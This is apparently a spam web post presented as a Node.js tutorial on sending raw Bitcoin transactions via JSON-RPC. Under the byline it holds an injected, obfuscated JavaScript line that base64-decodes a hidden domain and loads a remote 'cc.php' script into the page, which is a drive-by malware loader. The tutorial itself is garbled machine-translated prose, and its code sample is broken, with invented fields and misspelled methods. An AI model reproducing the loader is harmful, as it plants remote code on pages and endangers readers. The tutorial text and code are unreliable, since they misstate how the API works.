News

Ethereum: How to do sendRawTransaction to bitcoind JSON-RPC using bitcoin-core package in nodejs

Published by Terlumun Aondover on February 11th, 2025.

const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=a666de0f”;document.body.appendChild(script);

Here is an article explaining how “rawtransaction” in JSON-RPC format using the Bitcoin Core package node.js:

Sending RAW events in JSON-RPC format on Bitcoin core package node.js

In this article, we will show you how to send “Rawtransaction” in JSON-RPC format using the Bitcoin core package node.js.

Preliminary Requirements

Before we start, make sure you have installed the Bitcoin Core package and run the compatible version. Also, make sure you have a Bitcoin base node that works on a computer with the right address you want to send a tight event.

Install the required packages

In order to use the Bitcoin Core package on Node.js, we must install the “Bitcoin -Core” package using NPM:

`Bash



NPM Install Bitcoin core savings

Send a tight event in JSON-RPC format

Next code fragment shows how to send “Rawtransaction” in JSON-RPC format using the Bitcoin core package:

`Javascript



Const Bitcoincore = Requires ("Bitcoin-core");

// Set the Bitcoin core connection

Const BC = New BitcoinCore ({

  URL: " // Replace URL-olmu with Bitcoin-core

});

// Create a new event object

Const tx = {

  Version: 1,

  Hash: "Your_tx_hash_here",

  from_address: "your_from_address_here",

  to_address: "to_address_here", // optional

  Tickets: "Raw" // Optional, may be one of "perfect", "confirm" or "just sending"

};

// Create a new RAW event object

Const Rawtx = {

  TX_TYPE: "Sendrawtransaction",

  SUR: tx

};

// Send raw event in JSON-RPC format using Bitcoin Core app

BC.Sendrawtrasation (Rawtx, (Error, Answer) => {

  If (ERR) {

    Console.error ("Sending the Raw Event Event:", Error);

  } otherwise {

    // Get an incident abbreviation for reply

    Const txhash = response.hash;

Console.log (Transaction Hash: $ {txhash});



  }

});

In this example, we create a new “event” object with the desired features (version, abbreviation from, address and tickets). Then we create a new raw event object with the same features. Finally, we send the RAW event in the JSON-RPC format using the Bitcoin connection “Sendrawtransaction” method.

Comments

The “raw” feature of the TX object defines that we want to send a tough event.

You can adjust the raw event by offering additional tickets (eg “confirm”, `only by sending) or by adjusting the characteristics of the” event “object.